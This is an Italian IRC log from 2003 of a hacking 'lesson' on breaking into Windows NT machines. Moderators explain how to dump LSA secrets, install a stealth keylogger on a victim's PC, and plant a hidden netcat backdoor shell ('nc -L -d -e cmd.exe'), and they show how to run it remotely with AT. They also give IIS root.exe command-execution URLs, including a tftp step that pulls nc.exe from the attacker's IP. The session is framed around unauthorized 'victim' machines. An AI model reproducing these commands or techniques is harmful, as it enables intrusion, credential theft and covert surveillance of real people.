Session Start: Tue Nov 18 21:09:45 2003
Session Ident: #AlexMessoMalex
* Now talking in #AlexMessoMalex
* Topic is '•11,12•www.AlexMessoMalex.com•• •1,8¤• ••8,10La prossima parte del Chat-Meeting si terrà •questa sera• alle ore •21.15•• •1,8¤• •0,2Si prega di visitare la sezione •8•FAQ••0 e il •8•FORUM••0 prima di chiedere ai moderatori.••'
* Set by XsickboyX on Tue Nov 18 20:39:27

* XSiCkAwAy sets mode: +m
<XSiCkAwAy> allora
<XSiCkAwAy> solita storia
<XSiCkAwAy> io spiego
<XSiCkAwAy> poi se avete domande
<XSiCkAwAy> me le scrivete in pvt
<XSiCkAwAy> e poi ad un certo punto mi fermo
<XSiCkAwAy> le ricopio nel chan
<XSiCkAwAy> e vi rispondo
<XSiCkAwAy> ok?
<XSiCkAwAy> partiamo
<XSiCkAwAy> parlavamo se nn erro
<XSiCkAwAy> su come potevamo crakkare le pass del file SAM
<XSiCkAwAy> usando LC4
<XSiCkAwAy> e John The Ripper
<XSiCkAwAy> Stasera
<XSiCkAwAy> spero di kiudere
<XSiCkAwAy> il discorso su Win NT
<XSiCkAwAy> cmq...
<XSiCkAwAy> stasera parliamo della vulnerabilità
<XSiCkAwAy> Della Local Security Authority
<XSiCkAwAy> che si trova nel reg di sistema
<XSiCkAwAy> al percorso HKEY_Local_Machine
<XSiCkAwAy> \Security\policy\Secrets
<XSiCkAwAy> L'LSA
<XSiCkAwAy> contiene una marea di info interessantissime
<XSiCkAwAy> tipo le ultime 10 hash usate
<XSiCkAwAy> ultime 10 hash degli ultimi 10 utenti connessi
<XSiCkAwAy> pardon :) mi sono corretto
<XSiCkAwAy> credenziali degli account remoti
<XSiCkAwAy> e pass in chiaro dei siti FTP e siti Web
<XSiCkAwAy> cmq x maggiori informazioni
<XSiCkAwAy> vi riporto all'onnipotente sito ntbugtraq.com o insecure.org
<XSiCkAwAy> che sono siti
<XSiCkAwAy> da dover visitare
<XSiCkAwAy> abb spesso
<XSiCkAwAy> visto che si trovano davvero cose interessanti
<XSiCkAwAy> cmq... bando alle ciance... dateci un'okkiata
<XSiCkAwAy> tornando a parlare dell'LSA
<XSiCkAwAy> come facciamo a leggere le info dell'LSA?
<XSiCkAwAy> Con LSADum2
<XSiCkAwAy> LSAdump2
<XSiCkAwAy> che utilizza la stessa tecnica di PwDump2
<XSiCkAwAy> di cui abbiamo già parlato...
<XSiCkAwAy> (sfruttando lsass.exe ect...)
<XSiCkAwAy> purtroppo
<XSiCkAwAy> non vi so dare altre info sull'LSA
<XSiCkAwAy> xkè non ho avuto tempo di approfondire st'argomento
<XSiCkAwAy> <AGP> puoi dirci almeno dove si scarica LSAdump2?
<XSiCkAwAy> AGP mi spiace ma nn ho avuto tempo :(
<XSiCkAwAy> chi lo vuole al max lo chiede a me o cerca su Google
<XSiCkAwAy> andiamo avanti....
<XSiCkAwAy> mmm di che parlare???
<XSiCkAwAy> ah si
<XSiCkAwAy> dimenticavo...
<XSiCkAwAy> IL KEYLOGGER :)

<XSiCkAwAy> se abbiamo un accesso su un sistema
<XSiCkAwAy> è buona regola
<XSiCkAwAy> installare un keylogger
<XSiCkAwAy> cos'è un keylogger???
<XSiCkAwAy> lo dice stesso il nome
<XSiCkAwAy> è un programma che registra tutto
<XSiCkAwAy> ciò che viene digitato sulla tastiera
<XSiCkAwAy> e ve lo spedisce via email
<XSiCkAwAy> o ve lo mette in un log
<XSiCkAwAy> immaginate quale uso potete farne..
<XSiCkAwAy> io
<XSiCkAwAy> personalmente
<XSiCkAwAy> nn installo un key logger
<XSiCkAwAy> anche se a seconda del mio obiettivo
<XSiCkAwAy> mi è capitato...
<XSiCkAwAy> ho usato (e mi sono trovato bene) IKS
<XSiCkAwAy> invisible keylogger stealth
<XSiCkAwAy> e va davvero bene ed è discreto come programma
<XSiCkAwAy> ma ahimè anche qui mi trovate impreparato
<XSiCkAwAy> vi so solo dire che il programma carica il file iks.sys (quindi bisogna far riavviare il pc vittima tramite il programma shutdown.exe)
<XSiCkAwAy> un attimo
<XSiCkAwAy> che ci sono delle domande
<XSiCkAwAy> <AGP> un keylogger inizia a loggare dopo essere partito o funziona anche appena acceso?
<XSiCkAwAy> <AGP> tipo: riuscirebbe a beccare una password di bios, quella che si digita prima di tutto il resto?
<XSiCkAwAy> AGP no
<XSiCkAwAy> il keylogger registra
<XSiCkAwAy> tutto ciò che viene scritto nell'ambito winzozz
<XSiCkAwAy> in quanto viene caricato con il sistema operativo
<XSiCkAwAy> <Hell{Course_Away}> che uso? :•4P• scusa ma son lento come un triceratopo con la malaria -.-
<XSiCkAwAy> ehehehehehehh
<XSiCkAwAy> Hell
<XSiCkAwAy> un keylogger può essere usato
<XSiCkAwAy> x bekkare
<XSiCkAwAy> password
<XSiCkAwAy> che nn siamo riusciti
<XSiCkAwAy> a prendere x altre vie
<XSiCkAwAy> <Winzozz_crash> logga già dall'inserimento dell'user e password all'avvio dell'accont? si
<XSiCkAwAy> andiamo avanti
<XSiCkAwAy> facciamo il caso
<XSiCkAwAy> ch abbiamo
<XSiCkAwAy> la pass di admin
<XSiCkAwAy> ma vogliamo crearci una backdoor
<XSiCkAwAy> cos'è una backdoor???
<XSiCkAwAy> back door = porta dal retro
<XSiCkAwAy> un sec che ci sono domande e critiche :)
<XSiCkAwAy> allora
<XSiCkAwAy> si indica col nome Backdoor quel "modo" usato x procurarsi un'entrata "alternativa" al classico login
<XSiCkAwAy> allora
<XSiCkAwAy> io
<XSiCkAwAy> consiglio
<XSiCkAwAy> o almeno uso
<XSiCkAwAy> il programma netcat
<XSiCkAwAy> se qualcuno ricorderà
<XSiCkAwAy> già ne parlammo di questo programma tuttofare (che insieme a nmap secondo me sono indispensabili :)
<XSiCkAwAy> il nostro caro netcat
<XSiCkAwAy> è in grado di tenere una porta in stato di listening
<XSiCkAwAy> se avviamo netcat con certe impostazioni
<XSiCkAwAy> questo simpatico programmino
<XSiCkAwAy> ci risponderà con una bella shell
<XSiCkAwAy> cmq
<XSiCkAwAy> come dobbiamo impostarlo????

<XSiCkAwAy> vediamo la sintassi
<XSiCkAwAy> copiamo nc.exe
<XSiCkAwAy> nel sistema
<XSiCkAwAy> vittima e lo avviamo mettendo i seguentiparametri
<XSiCkAwAy> nc -L -d -e cmd.exe -p numporta
<XSiCkAwAy> che sono tutte ste letterine???
<XSiCkAwAy> allora
<XSiCkAwAy> il -L serve a tenere attiva la porta in stato di listening
<XSiCkAwAy> x capirci se nn inserite -L il netcat, dopo che chiusdete la vostra prima sessione, chiuderà la porta che sta in ascolto
<XSiCkAwAy> il -d avvia il netcat in modalità nascosta
<XSiCkAwAy> il -e specifica il programma
<XSiCkAwAy> che si deve eseguire
<XSiCkAwAy> cmd.exe è l'interprete dei comandi di win nt
<XSiCkAwAy> :)
<XSiCkAwAy> e il -p è la porta sulla quale il netcat
<XSiCkAwAy> deve stare in ascolto
<XSiCkAwAy> vi consiglio
<XSiCkAwAy> una porta abb conosciuta ma non usata
<XSiCkAwAy> tipo chessò....
<XSiCkAwAy> 27374???
<XSiCkAwAy> ehehehehe
<XSiCkAwAy> naaaaaa
<XSiCkAwAy> EVITATE LE PORTE DEI TROJAN
<XSiCkAwAy> vi si fanno subito :)
<XSiCkAwAy> un attimo..... domande :)
<XSiCkAwAy> <Winzozz_crash> se installliamo una backdoor..ma la vittima ha un firewall..la backdoor riesce cmq ad aprirsi la porta per il nostro passaggio?
<XSiCkAwAy> allora
<XSiCkAwAy> prima di installare netcat
<XSiCkAwAy> dobbiamo cercare di capir
<XSiCkAwAy> capire
<XSiCkAwAy> se c'è un firewall
<XSiCkAwAy> e se c'è che tipo di controlli effettua sul traffico
<XSiCkAwAy> tipo controlla solo il traffico in uscita o entra
<XSiCkAwAy> entrata
<XSiCkAwAy> di questo ne abbiamo parlato
<XSiCkAwAy> in una delle prime lezioni
<XSiCkAwAy> cioè
<XSiCkAwAy> dovete sfruttare
<XSiCkAwAy> i ping
<XSiCkAwAy> i traceroute
<XSiCkAwAy> :)
<XSiCkAwAy> <cyberman> nn mi ricordo che fa?
<XSiCkAwAy> <cyberman> lo puoi ridire?
<XSiCkAwAy> Cyberman x motivi di tempo e per rispetto agli altri nn mi sembra giusto riparlare di NetCat
<XSiCkAwAy> <LastEvil> se a qualcuno interessa per IKS : http://www.amecisco.com/downloads.htm
<XSiCkAwAy> <masterk3y> come faccio a copiarlo sul sistema vittima ?
<XSiCkAwAy> <masterk3y> netcat?
<XSiCkAwAy> allora
<XSiCkAwAy> x far questo dobbiamo sfruttare
<XSiCkAwAy> un bug
<XSiCkAwAy> e mi sono accorto, rileggendo i log,
<XSiCkAwAy> che noi non abbiamo trattato i BUGS DI WIN NT!!!!
<XSiCkAwAy> non abbiamo parlato di IIS (un grazie a rootdemon x averlo detto)
<XSiCkAwAy> e nemmeno delle WebDav
<XSiCkAwAy> anche se le webdav trattano più win 2000
<XSiCkAwAy> cmq
<XSiCkAwAy> x quanto riguarda gli exploit e vari
<XSiCkAwAy> ne parleremo al più presto
<XSiCkAwAy> <cyberman> solo che nn ho capito come glielo ficchi
<XSiCkAwAy> <cyberman> nel pc target
<XSiCkAwAy> <cyberman> :)
<XSiCkAwAy> <cyberman> e togli quell'aay
<XSiCkAwAy> <cyberman> away
<XSiCkAwAy> <cyberman> :P

<XSiCkAwAy> si appunto cyber...
<XSiCkAwAy> si deve trovare un modo :)
<XSiCkAwAy> io stavo facendo questo discorso del netcat
<XSiCkAwAy> xkè ero sicuro
<XSiCkAwAy> che già avevamo trovato un modo
<XSiCkAwAy> di copiare files :)
<XSiCkAwAy> <masterk3y> e se non monta IIS? il sistema vittima?
<XSiCkAwAy> master
<XSiCkAwAy> ci sono vari modi
<XSiCkAwAy> vari bugs da sfruttare
<XSiCkAwAy> ect
<XSiCkAwAy> come mi diceva giustamente
<XSiCkAwAy> rootdemon
<XSiCkAwAy> IIS è di default
<XSiCkAwAy> sul
<XSiCkAwAy> Win NT
<XSiCkAwAy> e IIS è pieno di bug
<XSiCkAwAy> :)
<XSiCkAwAy> se nn è installato IIS
<XSiCkAwAy> dovete fare un portscan
<XSiCkAwAy> e vedere i servizi attivi
<XSiCkAwAy> nelle lezioni scorse abbiamo parlato
<XSiCkAwAy> di come possiamo vedere
<XSiCkAwAy> che sistema operativo
<XSiCkAwAy> usa il nostro pc vittima
<XSiCkAwAy> beh se bekkiamo NT
<tia86> un piccolo esempio: tramite netbios copiate il file sul pc vittima e col comando AT lo eseguite ;)
<XSiCkAwAy> tia :)
<XSiCkAwAy> fai na cosa tia
<XSiCkAwAy> spiega bene
<XSiCkAwAy> come si fa
<XSiCkAwAy> :)
<XSiCkAwAy> intanto io rispondo ai pvt :)
<XSiCkAwAy> damme na mano!
<tia86> ok
<tia86> un attimo...
<tia86> allora
<Tiranno> vai Tia!
<tia86> facciamo finta ke riusciate in qualke modo (ftp, netbios..) a copiare netcat sul pc
<tia86> ma voi volete appunto il prompt di dos
<tia86> attraverso AT (DAL PROMPT "at")
<tia86> potete fare eseguire ad un pc remoto un programma
<tia86> una specie di task manager
<tia86> AT [\\nomecomputer] ora [/INTERACTIVE]
<tia86> questa è la sintassi
<tia86> se ad esempio il pc ha ip 192.168.1.1
<tia86> si fa
<tia86> AT \\192.168.1.1 c:\VOSTRO_PROG.EXE
<SaNdStOrM> ok
<tia86> E il pc vittima lo eseguira!
<XSickBoyX> si scusa
<tia86> naturalmente ci sono altre opzioni
<XSickBoyX> appunto
<tia86> ma basta guardarsi l'help x capire ;)
<XSickBoyX> <masterk3y> e se non monta IIS? il sistema vittima?
<XSickBoyX> <masterk3y> quali un esempio?
<XSickBoyX> <masterk3y> oppure se monta IIS e ha ttte le patch e contro patch?
<XSickBoyX> <XSickBoyX> master
<XSickBoyX> <XSickBoyX> ci sono migliaia di motivi
<XSickBoyX> <XSickBoyX> dipende dai servizi che un sistema offre...
<XSickBoyX> <XSickBoyX> un win 98
<XSickBoyX> <XSickBoyX> è sicurissimo :)
<XSickBoyX> <XSickBoyX> xkè non offre un cazzo! :)
<XSickBoyX> <XSickBoyX> non ha chessò la 25 aperta
<XSickBoyX> <XSickBoyX> o la 135
<XSickBoyX> <XSickBoyX> o la 445

<XSickBoyX> <XSickBoyX> cioè
<XSickBoyX> <XSickBoyX> capisci che voglio dire???
<XSickBoyX> <XSickBoyX> più servizi sono attivi più è probabile che c'è un modo x ottenere un accesso root
<XSickBoyX> <XSickBoyX> tramite overflow
<XSickBoyX> :) scusate il flood :)
<XSickBoyX> <vi0lin0> <XSiCkAwAy> e IIS è pieno di bug
<XSickBoyX> <vi0lin0> se patchato no
<XSickBoyX> <vi0lin0> meglio che lo dici perchè poi magari uno si kiede xke non riesce
<XSickBoyX> è normale che se un servizio che ha dei bug noti è patchato
<XSickBoyX> non dà possibilità
<XSickBoyX> di sfruttarlo :)
<XSickBoyX> allora
<XSickBoyX> volevo fare un attimo un discorsetto
<XSickBoyX> che gho fatto
<XSickBoyX> quando iniziai a parlare di WinNt
<XSickBoyX> forse nn molti mi hanno ascoltato....
<XSickBoyX> raga
<XSickBoyX> la parte più importante
<XSickBoyX> di un "hacking"
<XSickBoyX> è la ricerca
<XSickBoyX> è l'avere quante più info possibili
<XSickBoyX> e più ne sono e meglio è
<XSickBoyX> affianco a voi
<XSickBoyX> dev'esserci
<XSickBoyX> un bel foglio
<XSickBoyX> dove sta scritto il più possibile sul vostro pc vittima
<XSickBoyX> e VI PREGO di dare un'okkiata
<XSickBoyX> alle varie storie e leggende
<XSickBoyX> che appartengono al passato
<XSickBoyX> è importante capire
<XSickBoyX> come persone, prima di noi,
<XSickBoyX> hanno già tentato
<XSickBoyX> a fare ciò che vorremmo fare noi
<XSickBoyX> e alcuni ci sono riusciti alla grande....
<XSickBoyX> voi potreste chiedervi (e l'ho fatto anch'io) "perchè dovrei bucare un pc???"
<XSickBoyX> beh
<XSickBoyX> a me non interessa questo....
<XSickBoyX> IO LO FACCIO X PURA CURIOSITA'
<XSickBoyX> non parlo mai di cose del tipo
<XSickBoyX> "CAZZO HO BUCATO QUESTO HO BUCATO QUELLO!
<XSickBoyX> è la curiosità che spinge....
<XSickBoyX> ok
<XSickBoyX> adesso basta xkè annoio
<XSickBoyX> spero che non prendiate queste parole come una sorta di dimostrazione di superiorità da parte mia (dalla serie: si... ecco quello lì che è bravo come Mitnick)
<XSickBoyX> o cose del genere
<XSickBoyX> un attimo che ho i pvt
<XSickBoyX> <vi0lin0> tratti qualche bug di windows2000/NT stasera?
<XSickBoyX> <XSickBoyX> volevo parlare delle webdav
<XSickBoyX> ultima supposta di saggezza :)
<XSickBoyX> x me sarebbe più soddisfacente bucare il pc della mia vicina di casa
<XSickBoyX> tramite un bug che ho scoperto io (e lo kiamo SickBug)
<XSickBoyX> che bucare il pc di billgates tramite netcat :)
<XSickBoyX> <Guest86131> cm si buca 1 pc?
<XSickBoyX> <XSickBoyX> con l'ago :)
<XSickBoyX> scusa guest
<XSickBoyX> entra con nick decente :)
<XSickBoyX> e leggiti tutti i log
<XSickBoyX> allora
<XSickBoyX> PERDONATEMI se ho saltato gli exploit
<XSickBoyX> e faccio un passo indietro
<XSickBoyX> verso IIS e WebDav
<XSickBoyX> che è l'IIS
<XSickBoyX> Internet information system

<XSickBoyX> AZZ
<SaNdStOrM> services
<XSickBoyX> Si pardon
<XSickBoyX> ho preso un cakkio x un altro
<XSickBoyX> cmq
<XSickBoyX> parliamo
<XSickBoyX> un pò di exploits
<XSickBoyX> e appunto della IIS
<XSickBoyX> l'iis
<XSickBoyX> viene installato
<XSickBoyX> su
<XSickBoyX> win nt e 2000 di default
<XSickBoyX> <vi0lin0> non viene installato di default
<XSickBoyX> <XSickBoyX> si+
<XSickBoyX> <vi0lin0> no
<XSickBoyX> <vi0lin0> :P
<XSickBoyX> <XSickBoyX> si
<XSickBoyX> <XSickBoyX> :)
<XSickBoyX> <vi0lin0> no
<XSickBoyX> allora
<XSickBoyX> pardon
<XSickBoyX> LA IIS (Internet Information Server)
<XSickBoyX> è ABILITATA x default
<XSickBoyX> sia su Win2000
<XSickBoyX> sia su Win NT
<XSickBoyX> <M0r3ll0> con la iis si puo' bukare?
<XSickBoyX> Ci sono tanti bug da sfruttare sulle IIS
<XSickBoyX> allora
<XSickBoyX> parliamo
<XSickBoyX> di sti cazzo di bug
<XSickBoyX> che sfruttano falle dell' IIS 5
<XSickBoyX> parliamo innanzitutto della vulnerabilità UNICODE....
<XSickBoyX> cioè
<XSickBoyX> secondo me una delle più gravi :)
<XSickBoyX> il Problema si ha
<XSickBoyX> quando si hanno direcrroty accessibili da web
<XSickBoyX> pardon
<XSickBoyX> directory con diritti di scrittura ed esecuzione pubblica
<XSickBoyX> raggiungibili
<XSickBoyX> dal web
<XSickBoyX> e quando c'è un programma eseguibile (tipo cmd.exe)
<XSickBoyX> al quale non è applicato un access control list
<XSickBoyX> come facciamo a sfruttare questa falla???
<XSickBoyX> beh
<XSickBoyX> usando Explorer (Si avete letto bene)=
<XSickBoyX> scriviamo un link tipo questo
<XSickBoyX> http://ippcvittima/scripts/root.exe/c+ comando da eseguire
<XSickBoyX> al posto di comando da eseguire possiamo mettere
<XSickBoyX> chessò
<XSickBoyX> dir c:\
<XSickBoyX> o dir c:\winnt\repair\ :)
<XSickBoyX> quindi
<XSickBoyX> se ci sono programmi tipo root.exe
<XSickBoyX> o cmd.exe
<XSickBoyX> e questi programmi non sono sottoposti a ACS
<XSickBoyX> allora siamo a cavallo :)
<XSickBoyX> un attimo che ci sono domande
<XSickBoyX> <world03> insegami a fare qlks semplice io nn sn esperto!
<XSickBoyX> <world03> voglio imparare a fare l'hacker
<XSickBoyX> <world03> cmq t ho kiesto sl d modificare del sito degli studenti della scuola
<XSickBoyX> <world03> tutto qui!
<XSickBoyX> <world03> sai fare virus?
<XSickBoyX> <XSickBoyX> no mi spiace
<XSickBoyX> raga non voglio fare come molti dicendo SEI UN LAMER :)
<XSickBoyX> ma non è questo il concetto di hacker che ho io
<XSickBoyX> <vi0lin0> errato :P
<XSickBoyX> <vi0lin0> cmq fa niente..

<XSickBoyX> <vi0lin0> -.-
<XSickBoyX> <vi0lin0> prosegui
<XSickBoyX> <XSickBoyX> errato cosa?
<XSickBoyX> <vi0lin0> <XSickBoyX> ma so x certo che le iis sono attive di default
<XSickBoyX> ho sempre saputo
<XSickBoyX> che IIS era di default su sistemi win 2000/nt magari dopo ne discutiamo insieme
<XSickBoyX> <masterk3y> ma chi è così pollo ancora da lasciare una dir in scrittura ed esecuzione?
<XSickBoyX> master poco tempo fa
<XSickBoyX> un mio caro amico
<XSickBoyX> mi consigliò di dare un'okkiata
<XSickBoyX> al programma FxScanner
<XSickBoyX> e non hai idea DI QUANTE MAKKINE SOFFRONO DI QUESTO BUG...
<XSickBoyX> <Dragon[OnlyQuery]> Faccio notare che nei link gli spazi devono essere riportati col relativo codice ascii.
<XSickBoyX> <Dragon[OnlyQuery]> Le iis non sono attive di default infatti.
<XSickBoyX> <Dragon[OnlyQuery]> Ho win2000, quindi te lo dico per esperienza personale :)
<XSickBoyX> <Dragon[OnlyQuery]> Infatti per il web server ho installato apache senza problemi.
<XSickBoyX> <Dragon[OnlyQuery]> ;)
<XSickBoyX> PARDON A TUTTI... ERO SICURO RIGUARDO LE IIS... :)
<XSickBoyX> <masterk3y> ma chi è così pollo ancora da lasciare una dir in scrittura ed esecuzione?
<XSickBoyX> <masterk3y> mica è un bug
<XSickBoyX> <masterk3y> se un utente è minchione non puoi dire che è un bug
<XSickBoyX> ok allora quando trovate una dir con queste caratteristike
<XSickBoyX> non avete trovato un bug ma un admin IMBECILLE O MINKIONE COME DIR SI VUOLE :)
<XSickBoyX> <world03> ma tu ke cosa sai fare ke mi puoi insegnare
<XSickBoyX> <world03> nn c capisco nnte della lezione
<XSickBoyX> <world03> dimmi qlks semplice
<XSickBoyX> <world03> ma cm fai a saxe tutte ste cose?
<XSickBoyX> avevo 14 anni
<Tiranno> a saxe?
<XSickBoyX> quando ho iniziato ad interessanrmi alla sicurezza informatica
<XSickBoyX> PASSIONE
<XSickBoyX> saxe = sapere :)
<Tiranno> scherzavo sick
<XSickBoyX> andiamo avanti
<XSickBoyX> allora se abbiamo
<XSickBoyX> questo bug come facciamo a sfruttarlo l'abbiamo visto
<XSickBoyX> adesso dobbiamo vedere come scrivere
<XSickBoyX> un file
<XSickBoyX> http://xxx.xxx.xxx.xxx/scripts/root.exe?/c+tftp -i TUO_Ip GET percorsoFileInLocaleDaUppare c:\percorso dove upparlo
<XSickBoyX> scrivendo questo sul nostro browser
<XSickBoyX> tramite il programma tftp
<XSickBoyX> possiamo uppare
<XSickBoyX> il nostro nc.exe
<XSickBoyX> e avviare la nostra shell
<XSickBoyX> :)
<XSickBoyX> un attimo
<XSickBoyX> domande
<XSickBoyX> <Hell{Course}> c'è un modo per sapere se son presenti le iis su di un sistema?
<XSickBoyX> senti come dicevo prima ci sono delle applicazioni
<XSickBoyX> che vedono
<albythebest> purtroppo nn ho potuto seguire la lezione :(, ora vado a letto! notte a tutti! ciao sick!
<XSickBoyX> se IIS è attivo o meno
<XSickBoyX> tipo FxScanner
<XSickBoyX> ciao alby
<XSickBoyX> <polniuman> scusa la domanda idiota, ma non potrest mettere un link funzionante senza ovviamente darci la possibilita di far cazzate giuto per capire meglio?

<XSickBoyX> Polniuman (bel nick)
<XSickBoyX> ti rendi conto
<XSickBoyX> su cosa accadrebbe se mettessi un link funzionante
<XSickBoyX> qui???
<XSickBoyX> tutti e ventitre
<XSickBoyX> utenti attivi che sono qui
<XSickBoyX> lo attivereste causando un ondata di traffico :)
<XSickBoyX> <polniuman> lo so infatti ti ho anche detto scusa per la domanda idiota
<XSickBoyX> :)
<XSickBoyX> te la cerchi la risposta :)
<XSickBoyX> <Dragon[OnlyQuery]> Ribadisco...
<XSickBoyX> <Dragon[OnlyQuery]> <Dragon[OnlyQuery]> Faccio notare che nei link gli spazi devono essere riportati col relativo codice ascii.
<XSickBoyX> il carattere ascii x lo spazio è %20
<XSickBoyX> ue ragazzi
<XSickBoyX> penso che sia ora di smettere
<XSickBoyX> :)
<XSickBoyX> mi spiace ma domani ho la sveglia presto
<XSickBoyX> e devo mettere
<XSickBoyX> a posto il pc appena formattato
<cyberman> uaaaa
<XSickBoyX> LA PROX VOLTA
<cyberman> meno male
<cyberman> era ora
<XSickBoyX> RITRATTEREMO L'UNICODE
<XSickBoyX> PARLEREMO DELLE WEBDAV
<XSickBoyX> E ANCORA DI IIS
<XSickBoyX> E POI
<XSickBoyX> VI FACCIO UNA LISTA DI BUGX NOTI E USATI
* Quits: XSickBoyX (~rdicecio@Azzurra=15295509.pool80116.interbusiness.it•) (Quit: •)
* Disconnected
Session Close: Tue Nov 18 23:35:25 2003